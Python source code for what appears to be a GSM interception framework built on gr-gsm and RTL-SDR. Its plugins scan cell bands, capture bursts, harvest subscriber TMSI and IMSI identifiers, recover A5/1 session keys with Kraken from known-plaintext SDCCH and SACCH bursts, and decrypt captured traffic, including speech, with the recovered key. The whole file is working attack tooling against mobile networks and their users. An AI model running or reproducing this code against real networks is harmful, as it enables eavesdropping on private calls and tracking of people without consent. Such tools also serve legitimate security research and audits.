class ScanPlugin(PluginBase): @arg("--speed", action="store", dest="speed", type=int, help="Scan speed. Value range 0-5.", default=4) @arg_group( name="RTL-SDR configuration", args=[ arg("-p", action="store", dest="ppm", type=int, help="Set ppm. Default: value from config file."), arg("-s", action="store", dest="samp_rate", type=float, help="Set sample rate. Default: value from config file."), arg("-g", action="store", type=float, dest="gain", help="Set gain. Default: value from config file.") ]) @arg("-b", action="store", dest="band", choices=(grgsm.arfcn.get_bands()), help="GSM band of the ARFCN.") @cmd(name="scan_rtlsdr", description="Scan a GSM band using a RTL-SDR device.") def scan_rtlsdr(self, args): if args.speed < 0 or args.speed > 5: raise PluginError("Invalid speed") path = self._config_provider.get("gr-gsm", "apps_path") grgsm_scanner = imp.load_source("", os.path.join(path, "grgsm_scanner")) band = args.band sample_rate = args.samp_rate ppm = args.ppm gain = args.gain speed = args.speed if ppm is None: ppm = self._config_provider.getint("rtl_sdr", "ppm") if sample_rate is None: sample_rate = self._config_provider.getint("rtl_sdr", "sample_rate") if gain is None: gain = self._config_provider.getint("rtl_sdr", "gain") channels_num = int(sample_rate / 0.2e6) for arfcn_range in grgsm.arfcn.get_arfcn_ranges(args.band): first_arfcn = arfcn_range[0] last_arfcn = arfcn_range[1] last_center_arfcn = last_arfcn - int((channels_num / 2) - 1) current_freq = grgsm.arfcn.arfcn2downlink( first_arfcn + int(channels_num / 2) - 1, band) last_freq = grgsm.arfcn.arfcn2downlink(last_center_arfcn, band) stop_freq = last_freq + 0.2e6 * channels_num while current_freq < stop_freq: # silence rtl_sdr output: # open 2 fds null_fds = [os.open(os.devnull, os.O_RDWR) for x in xrange(2)] # save the current file descriptors to a tuple save = os.dup(1), os.dup(2) # put /dev/null fds on 1 and 2 os.dup2(null_fds[0], 1) os.dup2(null_fds[1], 2) # instantiate scanner and processor scanner = grgsm_scanner.wideband_scanner( rec_len=6 - speed, sample_rate=sample_rate, carrier_frequency=current_freq, ppm=ppm, args="") # start recording scanner.start() scanner.wait() scanner.stop() freq_offsets = numpy.fft.ifftshift( numpy.array( range(int(-numpy.floor(channels_num / 2)), int(numpy.floor((channels_num + 1) / 2)))) * 2e5) detected_c0_channels = scanner.gsm_extract_system_info.get_chans( ) found_list = [] if detected_c0_channels: chans = numpy.array( scanner.gsm_extract_system_info.get_chans()) found_freqs = current_freq + freq_offsets[(chans)] cell_ids = numpy.array( scanner.gsm_extract_system_info.get_cell_id()) lacs = numpy.array( scanner.gsm_extract_system_info.get_lac()) mccs = numpy.array( scanner.gsm_extract_system_info.get_mcc()) mncs = numpy.array( scanner.gsm_extract_system_info.get_mnc()) ccch_confs = numpy.array( scanner.gsm_extract_system_info.get_ccch_conf()) powers = numpy.array( scanner.gsm_extract_system_info.get_pwrs()) for i in range(0, len(chans)): cell_arfcn_list = scanner.gsm_extract_system_info.get_cell_arfcns( chans[i]) neighbour_list = scanner.gsm_extract_system_info.get_neighbours( chans[i]) info = grgsm_scanner.channel_info( grgsm.arfcn.downlink2arfcn(found_freqs[i], band), found_freqs[i], cell_ids[i], lacs[i], mccs[i], mncs[i], ccch_confs[i], powers[i], neighbour_list, cell_arfcn_list) found_list.append(info) scanner = None # restore file descriptors so we can print the results os.dup2(save[0], 1) os.dup2(save[1], 2) # close the temporary fds os.close(null_fds[0]) os.close(null_fds[1]) for info in sorted(found_list): self.printmsg(info.__repr__()) current_freq += channels_num * 0.2e6
class A51ReconstructionPlugin(PluginBase): attack_modes = ['SDCCH', 'SACCH', 'SDCCH/SACCH'] channel_modes = ['BCCH', 'BCCH_SDCCH4', 'SDCCH8'] @arg( "-m", action="store", dest="mode", choices=channel_modes, help= "Channel mode. This determines on which channels to search for messages that can be cracked.", default="BCCH_SDCCH4") @arg( "--attack-mode", action="store", dest="attackmode", choices=attack_modes, help= "Attack mode. This determines on which channels to search for messages that can be cracked.", default="SDCCH/SACCH") @arg("-t", action="store", dest="timeslot", type=int, help="Timeslot of the Immediate Assignment or Cipher Mode Command.", default=0) @arg("-v", action="store_true", dest="verbose", help="If enabled the command displays verbose information.") @arg_exclusive(args=[ arg("--cfile", action="store_path", dest="cfile", help="cfile."), arg("--bursts", action="store_path", dest="bursts", help="bursts.") ]) @arg_group( name="Cfile Options", args=[ arg("-a", action="store", dest="arfcn", type=int, help="ARFCN of the cfile capture."), arg("-f", action="store", dest="freq", type=float, help="Frequency of the cfile capture."), arg("-b", action="store", dest="band", choices=grgsm.arfcn.get_bands(), help="GSM of the cfile capture."), arg("-p", action="store", dest="ppm", type=int, help="Set ppm. Default: value from config file."), arg("-s", action="store", dest="samp_rate", type=float, help="Set sample rate. Default: value from config file."), arg("-g", action="store", type=float, dest="gain", help="Set gain. Default: value from config file.") ]) @arg_exclusive(args=[ arg("--frame-ia", action="store", dest="fnr_ia", type=int, help="Framenumber of the Immediate Assignment."), arg("--frame-cmc", action="store", dest="fnr_cmc", type=int, help="Framenumber of the Cipher Mode Command.") ]) @cmd( name="a51_kraken", description= "Reconstruct A51 session key from captured messages using Kraken TMTO." ) def a51_kraken(self, args): fnr_cmc = args.fnr_cmc timeslot = args.timeslot subchannel = None is_cmc_provided = False burst_file = args.bursts mode = args.mode if args.fnr_cmc is not None: is_cmc_provided = True elif args.fnr_ia is not None: ia_extractor = ImmediateAssignmentExtractor( burst_file, timeslot, mode, args.fnr_ia) ia_extractor.start() ia_extractor.wait() error = True mode = "BCCH_SDCCH4" immediate_assignments = ia_extractor.extract_immediate_assignment.get_frame_numbers( ) for i in range(len(immediate_assignments)): if immediate_assignments[i] == args.fnr_ia: self.printmsg("Immediate Assignment at %s" % immediate_assignments[i]) timeslot = ia_extractor.extract_immediate_assignment.get_timeslots( )[i] subchannel = ia_extractor.extract_immediate_assignment.get_subchannels( )[i] if ia_extractor.extract_immediate_assignment.get_channel_types( )[i] == "SDCCH/8": mode = "SDCCH8" error = False break if error: self.printmsg( "No valid framenumber for immediate assignment was provided." ) return cmc_finder = CMCFinder(burst_file, timeslot, subchannel, mode, args.fnr_ia) # ToDo: channeltype from ia cmc_finder.start() cmc_finder.wait() fnr_cmc = cmc_finder.get_cmc() if fnr_cmc is None: self.printmsg("No cipher mode command was found.") return else: self.printmsg( "No valid framenumber for cipher mode command or immediate assignment was provided." ) return fnr_start = fnr_cmc - 2 * 102 # should be (args.fnr_cmc - 3 * 102 + max_fnr) mod max_fnr fnr_end = fnr_cmc + 3 * 102 + 3 # should be (args.fnr_cmc + 3 * 102 + 3) mod max_fnr cmc_analyzer = CMCAnalyzer(timeslot, burst_file, mode, fnr_start, fnr_end) cmc_analyzer.start() cmc_analyzer.wait() if not cmc_analyzer.is_a51_cmc(fnr_cmc): self.printmsg("Cipher Mode Command at %s does not assign A5/1" % fnr_cmc) return else: self.printmsg("Cipher Mode Command at %s" % fnr_cmc) if is_cmc_provided: subchannel = cmc_analyzer.get_subchannel(fnr_cmc) kraken_burst_sets = cmc_analyzer.createLapdmUiBurstSets(fnr_cmc) kraken_adapter = KrakenA51ReconstructorAdapter(self._config_provider) key_found = False if args.attackmode != "SACCH": sdcch_counter = 0 for burst_set in kraken_burst_sets: if sdcch_counter % 4 == 0 and args.verbose: self.printmsg( "Using SDCCH message bursts %s - %s" % (burst_set.frame_number, burst_set.frame_number + 4)) sdcch_counter += 1 key = kraken_adapter.send2kraken(burst_set, args.verbose) if key is not None: key_found = True self.printmsg("Key found: %s" % key) break else: # self.printmsg("%s - no key found" % burst_set.frame_number) pass if key_found or args.attackmode == "SDCCH": return # self.printmsg("Starting attack on SACCH") last_sit_fnr = -1 last_si_type = None timingadvance = -1 plaintext_si_msgs = dict() for sit_fnr in cmc_analyzer.sacch_sits: if sit_fnr > last_sit_fnr and sit_fnr < fnr_cmc: last_sit_fnr = sit_fnr # extract timing advance last_si_type = cmc_analyzer.sacch_sits[sit_fnr][1] data_string = cmc_analyzer.sacch_sits[sit_fnr][2] # byte_arr = array.array('B', data_string.decode("hex")) byte_list = self.byte_string_to_list(data_string) timingadvance = byte_list[1] # add the system information messages from the attacked sacch # those should have the right timing advance anyway (at least in most cases) if not plaintext_si_msgs.has_key(last_si_type): plaintext_si_msgs[last_si_type] = byte_list if last_sit_fnr == -1: self.printmsg( "Could not determine last System Information message") return #self.printmsg("Last SI message at " + str(last_sit_fnr)) si_collector = SICollector(timeslot, burst_file, mode) si_collector.start() si_collector.wait() # collect all system information message types used on SACCH by the network for t in si_collector.si_messages: # there can be at most four different system information message types on SACCH. if len(plaintext_si_msgs) >= 4: break # if the type is not in the plaintext dictionary or has another timing advance # we put it in the dict if not plaintext_si_msgs.has_key( t) or plaintext_si_msgs[t][1] != timingadvance: plaintext_si_msgs[t] = self.byte_string_to_list( si_collector.si_messages[t]) for msg in plaintext_si_msgs: # correct timing advance if plaintext_si_msgs[msg][1] != timingadvance: plaintext_si_msgs[msg][1] = timingadvance # create bursts for all system information message types plaintext_si_bursts = dict() for msg in plaintext_si_msgs: plaintext_si_bursts[msg] = self.message_to_bursts( plaintext_si_msgs[msg]) sacch_si_types = [ "System Information Type 5", "System Information Type 5bis", "System Information Type 5ter", "System Information Type 6" ] if not plaintext_si_msgs.has_key("System Information Type 5bis"): sacch_si_types.remove("System Information Type 5bis") if not plaintext_si_msgs.has_key("System Information Type 5ter"): sacch_si_types.remove("System Information Type 5ter") type_pool = cycle(sacch_si_types) dropwhile(lambda x: x != last_si_type, type_pool) next(type_pool ) # next one would last_si_type, which we use as starting point # assemble burst sets sacch_burst_sets = [] for i in range(1, 4): type_of_msg = next(type_pool) # expected type of next message fnr_of_msg = last_sit_fnr + i * 102 bursts_of_plaintext = plaintext_si_bursts[type_of_msg] for j in range(0, 4): fnr = fnr_of_msg + j check_burst_index = 0 if j > 0 else 1 sacch_burst_sets.append( A5BurstSet( fnr, # framenumber of the burst we want to use cmc_analyzer.bursts[ fnr], # data (payload) of the burst we want to use bursts_of_plaintext[ j], # plaintext data (payload) of a lapdm ui message fnr_of_msg + check_burst_index, # framenumber of verification burst. # we use the first burst of the message as check burst, if j > 0 cmc_analyzer.bursts[ fnr_of_msg + check_burst_index ], # data (payload) of the verification burst bursts_of_plaintext[ check_burst_index] # plaintextdata (payload) of # the verification burst )) sacch_counter = 0 for burst_set in sacch_burst_sets: if sacch_counter % 4 == 0 and args.verbose: self.printmsg( "Using SACCH message bursts %s - %s" % (burst_set.frame_number, burst_set.frame_number + 4)) sacch_counter += 1 key = kraken_adapter.send2kraken(burst_set, args.verbose) if key is not None: key_found = True self.printmsg("Key found: %s" % key) break else: pass # self.printmsg("%s - no key found" % burst_set.frame_number) # self.printmsg("I am done....") # Todo: look at a lapdm ui message: if randomized, we wont do the attempt on sdcch def byte_string_to_list(self, string): byte_arr = array.array('B', string.decode("hex")) return byte_arr.tolist() def message_to_bursts(self, message_bytes): result = [] message = "" for byte in message_bytes: message += "%0.2X" % byte output = check_output(["gsmframecoder", message]).split("\n") if len(output) >= 9: for i in range(4): result.append(output[(i + 1) * 2]) return result
class CapturePlugin(PluginBase): @arg_group(name="Capturing", args=[ arg("--gsmtap", action="store_true", dest="gsmtap", help="Output to GSMTap.", default=False), arg("--print-bursts", action="store_true", dest="print_bursts", help="Print captured bursts.", default=False), arg("--length", action="store", dest="length", type=int, help="Length of the record in seconds."), arg("--cfile", action="store_path", dest="cfile", help="cfile."), arg("--bursts", action="store_path", dest="bursts", help="bursts."), ]) @arg_group( name="RTL-SDR configuration", args=[ arg("-p", action="store", dest="ppm", type=int, help="Set ppm. Default: value from config file."), arg("-s", action="store", dest="samp_rate", type=float, help="Set sample rate. Default: value from config file."), arg("-g", action="store", type=float, dest="gain", help="Set gain. Default: value from config file.") ]) @arg_exclusive(args=[ arg("-a", action="store", dest="arfcn", type=int, help="ARFCN of the BTS."), arg("-f", action="store", dest="freq", type=float, help="Frequency of the BTS.") ]) @arg("-b", action="store", dest="band", choices=(grgsm.arfcn.get_bands()), help="GSM band of the ARFCN.") @cmd( name="capture_rtlsdr", description="Capture and save GSM transmissions using a RTL-SDR device." ) def capture_rtlsdr(self, args): path = self._config_provider.get("gr-gsm", "apps_path") capture = imp.load_source("", os.path.join(path, "grgsm_capture.py")) freq = args.freq arfcn = args.arfcn band = args.band ppm = args.ppm sample_rate = args.samp_rate gain = args.gain cfile = None burstfile = None verbose = args.print_bursts gsmtap = args.gsmtap length = args.length if freq is not None: if band: if not grgsm.arfcn.is_valid_downlink(freq, band): self.printmsg( "Frequency is not valid in the specified band") return else: arfcn = grgsm.arfcn.downlink2arfcn(freq, band) else: for band in grgsm.arfcn.get_bands(): if grgsm.arfcn.is_valid_downlink(freq, band): arfcn = grgsm.arfcn.downlink2arfcn(freq, band) break elif arfcn is not None: if band: if not grgsm.arfcn.is_valid_arfcn(arfcn, band): self.printmsg("ARFCN is not valid in the specified band") return else: freq = grgsm.arfcn.arfcn2downlink(arfcn, band) else: for band in grgsm.arfcn.get_bands(): if grgsm.arfcn.is_valid_arfcn(arfcn, band): freq = grgsm.arfcn.arfcn2downlink(arfcn, band) break if ppm is None: ppm = self._config_provider.getint("rtl_sdr", "ppm") if sample_rate is None: sample_rate = self._config_provider.getint("rtl_sdr", "sample_rate") if gain is None: gain = self._config_provider.getint("rtl_sdr", "gain") if args.cfile is not None: cfile = self._data_access_provider.getfilepath(args.cfile) if args.bursts is not None: burstfile = self._data_access_provider.getfilepath(args.bursts) if cfile is None and burstfile is None: self.printmsg( "You must provide either a cfile or a burst file as destination." ) return tb = grgsm_capture(fc=freq, gain=gain, samp_rate=sample_rate, ppm=ppm, arfcn=arfcn, cfile=cfile, burst_file=burstfile, band=band, verbose=verbose, gsmtap=gsmtap, rec_length=length) def signal_handler(signal, frame): tb.stop() tb.wait() signal.signal(signal.SIGINT, signal_handler) tb.start() tb.wait()
class TmsiPlugin(PluginBase): channel_modes = ['BCCH', 'BCCH_SDCCH4'] @arg("-v", action="store_true", dest="verbose", help="If set, the captured TMSI / IMSI are printed.") @arg( "-o", action="store", dest="dest_file", help="If set, the captured TMSI / IMSI are stored in the specified file." ) @arg("-m", action="store", dest="mode", choices=channel_modes, help="Channel mode.", default="BCCH") @arg_group( name="Cfile Options", args=[ arg("-a", action="store", dest="arfcn", type=int, help="ARFCN of the cfile capture."), arg("-f", action="store", dest="freq", type=float, help="Frequency of the cfile capture."), arg("-b", action="store", dest="band", choices=grgsm.arfcn.get_bands(), help="GSM of the cfile capture."), arg("-p", action="store", dest="ppm", type=int, help="Set ppm. Default: value from config file."), arg("-s", action="store", dest="samp_rate", type=float, help="Set sample rate. Default: value from config file."), arg("-g", action="store", type=float, dest="gain", help="Set gain. Default: value from config file.") ]) @arg("-t", action="store", dest="timeslot", type=int, help="Timeslot of the CCCH.", default=0) @arg_exclusive(args=[ arg("--cfile", action="store_path", dest="cfile", help="cfile."), arg("--bursts", action="store_path", dest="bursts", help="bursts.") ]) @cmd(name="tmsi_capture", description="TMSI capturing.") def tmsi_capture(self, args): verbose = args.verbose destfile = None mode = args.mode freq = args.freq arfcn = args.arfcn band = args.band ppm = args.ppm sample_rate = args.samp_rate gain = args.gain timeslot = args.timeslot cfile = None burstfile = None if args.cfile is None and args.bursts is None: raise PluginError("Provide a cfile or burst file.") if args.dest_file is not None: destfile = self._data_access_provider.getfilepath(args.dest_file) if args.cfile is not None: cfile = self._data_access_provider.getfilepath(args.cfile) if args.bursts is not None: burstfile = self._data_access_provider.getfilepath(args.bursts) flowgraph = TmsiCapture(timeslot=timeslot, chan_mode=mode, burst_file=burstfile, cfile=cfile, fc=freq, samp_rate=sample_rate, ppm=ppm) flowgraph.start() flowgraph.wait() tmsis = dict() imsis = dict() with open("tmsicount.txt") as file: content = file.readlines() for line in content: segments = line.strip().split("-") if segments[0] != "0": key = segments[0] if tmsis.has_key(key): tmsis[key] += 1 else: tmsis[key] = 1 else: key = segments[2] if imsis.has_key(key): imsis[key] += 1 else: imsis[key] = 1 self.printmsg("Captured {} TMSI, {} IMSI\n".format( len(tmsis), len(imsis))) if verbose or destfile is not None: sorted_tmsis = sorted(tmsis, key=tmsis.__getitem__, reverse=True) sorted_imsis = sorted(imsis, key=imsis.__getitem__, reverse=True) if destfile is not None: with open(destfile, "w") as file: for key in sorted_tmsis: file.write("{}:{}\n".format(key, tmsis[key])) for key in sorted_imsis: file.write("{}:{}\n".format(key, imsis[key])) if verbose: for key in sorted_tmsis: self.printmsg("{} ({} times)".format(key, tmsis[key])) for key in sorted_imsis: self.printmsg("{} ({} times)".format(key, imsis[key])) os.remove("tmsicount.txt")
class DecoderPlugin(PluginBase): channel_modes = ['BCCH', 'BCCH_SDCCH4', 'SDCCH8', 'TCHF'] tch_codecs = collections.OrderedDict([('FR', grgsm.TCH_FS), ('EFR', grgsm.TCH_EFR), ('AMR12.2', grgsm.TCH_AFS12_2), ('AMR10.2', grgsm.TCH_AFS10_2), ('AMR7.95', grgsm.TCH_AFS7_95), ('AMR7.4', grgsm.TCH_AFS7_4), ('AMR6.7', grgsm.TCH_AFS6_7), ('AMR5.9', grgsm.TCH_AFS5_9), ('AMR5.15', grgsm.TCH_AFS5_15), ('AMR4.75', grgsm.TCH_AFS4_75)]) @arg("-m", action="store", dest="mode", choices=channel_modes, help="Channel mode.", default="BCCH") @arg("-t", action="store", dest="timeslot", type=int, help="Timeslot to decode.", default=0) @arg( "--subslot", action="store", dest="subslot", type=int, help= "Subslot to decode. Use in combination with channel type BCCH_SDCCH4 and SDCCH8." ) @arg_exclusive(args=[ arg("--cfile", action="store_path", dest="cfile", help="cfile."), arg("--bursts", action="store_path", dest="bursts", help="bursts.") ]) @arg("--print-messages", action="store_true", dest="print_messages", help="Print decoded messages.", default=False) @arg("--print-bursts", action="store_true", dest="print_bursts", help="Print decoded messages.", default=False) @arg_group( name="Cfile Options", args=[ arg("-a", action="store", dest="arfcn", type=int, help="ARFCN of the cfile capture."), arg("-f", action="store", dest="freq", type=float, help="Frequency of the cfile capture."), arg("-b", action="store", dest="band", choices=grgsm.arfcn.get_bands(), help="GSM of the cfile capture."), arg("-p", action="store", dest="ppm", type=int, help="Set ppm. Default: value from config file."), arg("-s", action="store", dest="samp_rate", type=float, help="Set sample rate. Default: value from config file."), arg("-g", action="store", type=float, dest="gain", help="Set gain. Default: value from config file.") ]) @arg_group(name="Decryption Options", args=[ arg("-5", "--a5", action="store", dest="a5", type=int, help="A5 version.", default=1), arg("-k", "--kc", action="store", dest="kc", help="A5 session key Kc. Valid formats are " "'0x12,0x34,0x56,0x78,0x90,0xAB,0xCD,0xEF' " "and '1234567890ABCDEF'"), ]) @arg_group( name="TCH Options", args=[ arg("-c", action="store", dest="speech_codec", choices=tch_codecs.keys(), help="TCH-F speech codec."), arg("-o", action="store", dest="speech_output_file", help="TCH/F speech output file"), arg("--voice-boundary-detect", action="store_true", dest="enable_voice_boundary_detection", help= "Enable voice boundary detection for traffic channels. This can help reduce noice in the output.", default=False), ]) @cmd(name="decode", description="Decodes GSM messages.") def decode(self, args): path = self._config_provider.get("gr-gsm", "apps_path") decoder = imp.load_source("", os.path.join(path, "grgsm_decode")) timeslot = args.timeslot subslot = args.subslot mode = args.mode burstfile = None cfile = None freq = args.freq arfcn = args.arfcn band = args.band ppm = args.ppm sample_rate = args.samp_rate gain = args.gain verbose = args.print_messages kc = [] def kc_parse(kc, value): """ Callback function that parses Kc """ # format 0x12,0x34,0x56,0x78,0x90,0xAB,0xCD,0xEF if ',' in value: value_str = value.split(',') for s in value_str: val = int(s, 16) if val < 0 or val > 255: pass # error kc.append(val) if len(kc) != 8: kc = [] # error elif len(value) == 16: for i in range(8): s = value[2 * i:2 * i + 2] val = int(s, 16) if val < 0 or val > 255: pass # error # parser.error("Invalid Kc % s\n" % s) kc.append(val) else: pass # error if args.kc is not None: kc_parse(kc, args.kc) if freq is not None: if band: if not grgsm.arfcn.is_valid_downlink(freq, band): self.printmsg( "Frequency is not valid in the specified band") return else: arfcn = grgsm.arfcn.downlink2arfcn(freq, band) else: for band in grgsm.arfcn.get_bands(): if grgsm.arfcn.is_valid_downlink(freq, band): arfcn = grgsm.arfcn.downlink2arfcn(freq, band) break elif arfcn is not None: if band: if not grgsm.arfcn.is_valid_arfcn(arfcn, band): self.printmsg("ARFCN is not valid in the specified band") return else: freq = grgsm.arfcn.arfcn2downlink(arfcn, band) else: for band in grgsm.arfcn.get_bands(): if grgsm.arfcn.is_valid_arfcn(arfcn, band): freq = grgsm.arfcn.arfcn2downlink(arfcn, band) break if ppm is None: ppm = self._config_provider.getint("rtl_sdr", "ppm") if sample_rate is None: sample_rate = self._config_provider.getint("rtl_sdr", "sample_rate") if gain is None: gain = self._config_provider.getint("rtl_sdr", "gain") if args.cfile is not None: cfile = self._data_access_provider.getfilepath(args.cfile) if args.bursts is not None: burstfile = self._data_access_provider.getfilepath(args.bursts) if cfile is None and burstfile is None: self.printmsg( "You must provide either a cfile or a burst file as destination." ) return tb = decoder.grgsm_decoder(timeslot=timeslot, subslot=subslot, chan_mode=mode, burst_file=burstfile, cfile=cfile, fc=freq, samp_rate=sample_rate, a5=args.a5, a5_kc=kc, speech_file=args.speech_output_file, speech_codec=self.tch_codecs.get( args.speech_codec), enable_voice_boundary_detection=False, verbose=verbose, print_bursts=args.print_bursts, ppm=ppm) tb.start() tb.wait()